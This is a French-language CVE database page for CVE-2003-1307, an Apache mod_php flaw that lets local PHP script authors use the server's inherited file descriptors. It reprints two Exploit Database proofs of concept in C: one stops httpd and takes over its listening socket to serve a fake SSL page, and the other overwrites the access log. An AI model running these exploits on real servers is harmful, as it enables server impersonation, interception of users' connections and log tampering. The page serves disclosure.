CVE-2003-1307 : Détail

CVE-2003-1307

1.23%V4
Local
2006-10-23
15h00 +00:00
2018-10-19
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:L/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 23481

Date de publication : 2003-12-25 23h00 +00:00
Auteur : Steve Grubb
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/9302/info Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/select.h> #include <netinet/in.h> #include <openssl/ssl.h> /* * The basic actions are like this: * 1) Become session leader * 2) Get rid of the parent (apache) * 3) Start handling requests */ #define LISTEN_DESCRIPTOR 4 #define CERTF "/var/www/html/foo-cert.pem" #define KEYF "/var/www/html/foo-cert.pem" static SSL_CTX *ctx; static SSL *ssl; static X509 *client_cert; static SSL_METHOD *meth; static void server_loop(int descr); static void ssl_init(void); int main(int argc, char *argv[]) { /* Need to fork so apache doesn't kill us */ if (fork() == 0) { /* Become session leader */ setsid(); sleep(2); /* just in case one was a controlling tty */ close(0); close(1); close(2); ssl_init(); server_loop(LISTEN_DESCRIPTOR); } else { sleep(1); system("/usr/sbin/httpd -k stop"); sleep(1); } return 0; } static void server_loop(int descr) { struct timeval tv; fd_set read_mask ; FD_ZERO(&read_mask); FD_SET(descr, &read_mask); for (;;) { struct sockaddr_in remote; socklen_t len = sizeof(remote); int fd; if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1) continue; fd = accept(descr, &remote, &len); if (fd >=0) { char obuf[1024]; if ((ssl = SSL_new (ctx)) != NULL) { SSL_set_fd (ssl, fd); SSL_set_accept_state(ssl); if ((SSL_accept (ssl)) == -1) exit(1); strcpy(obuf, "HTTP/1.0 200 OK\n"); strcat(obuf, "Content-Length: 40\n"); strcat(obuf, "Content-Type: text/html\n\n"); strcat(obuf, "<html><body>You're owned!</body></html>"); SSL_write (ssl, obuf, strlen(obuf)); SSL_set_shutdown(ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN); SSL_free (ssl); ERR_remove_state(0); } close(fd); } } SSL_CTX_free (ctx); /* Never gets called */ } static void ssl_init(void) { SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); meth = SSLv23_server_method(); ctx = SSL_CTX_new (meth); if (!ctx) exit(1); if (SSL_CTX_use_certificate_file(ctx, CERTF, SSL_FILETYPE_PEM) <= 0) exit(1); if (SSL_CTX_use_PrivateKey_file(ctx, KEYF, SSL_FILETYPE_PEM) <= 0) exit(1); if (!SSL_CTX_check_private_key(ctx)) exit(1); }
Exploit Database EDB-ID : 23482

Date de publication : 2003-12-25 23h00 +00:00
Auteur : frauk\x41ser
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/9302/info Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information. # apache's access_log can be overwritten with arbitrary content # from PHP called executables. # POC by frauk\x41ser && sk0L / SEC Consult 2006 #include <unistd.h> #include <fcntl.h> #define LOGFD 7 void main(){ fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from append to write lseek(LOGFD, 0, SEEK_SET); // reposition to start of file write(LOGFD,"hehe\n",5); }

Products Mentioned

Configuraton 0

Apache>>Http_server >> Version 2.0

Apache>>Http_server >> Version 2.0.9

Apache>>Http_server >> Version 2.0.28

Apache>>Http_server >> Version 2.0.28

Apache>>Http_server >> Version 2.0.28

    Apache>>Http_server >> Version 2.0.32

    Apache>>Http_server >> Version 2.0.32

      Apache>>Http_server >> Version 2.0.34

        Apache>>Http_server >> Version 2.0.35

        Apache>>Http_server >> Version 2.0.36

        Apache>>Http_server >> Version 2.0.37

        Apache>>Http_server >> Version 2.0.38

        Apache>>Http_server >> Version 2.0.39

        Apache>>Http_server >> Version 2.0.40

        Apache>>Http_server >> Version 2.0.41

        Apache>>Http_server >> Version 2.0.42

        Apache>>Http_server >> Version 2.0.43

        Apache>>Http_server >> Version 2.0.44

        Apache>>Http_server >> Version 2.0.45

        Apache>>Http_server >> Version 2.0.46

        Apache>>Http_server >> Version 2.0.46

          Apache>>Http_server >> Version 2.0.47

          Apache>>Http_server >> Version 2.0.48

          Références

          http://bugs.php.net/38915
          Tags : x_refsource_MISC
          http://www.securityfocus.com/archive/1/348368
          Tags : mailing-list, x_refsource_BUGTRAQ
          http://www.securityfocus.com/bid/9302
          Tags : vdb-entry, x_refsource_BID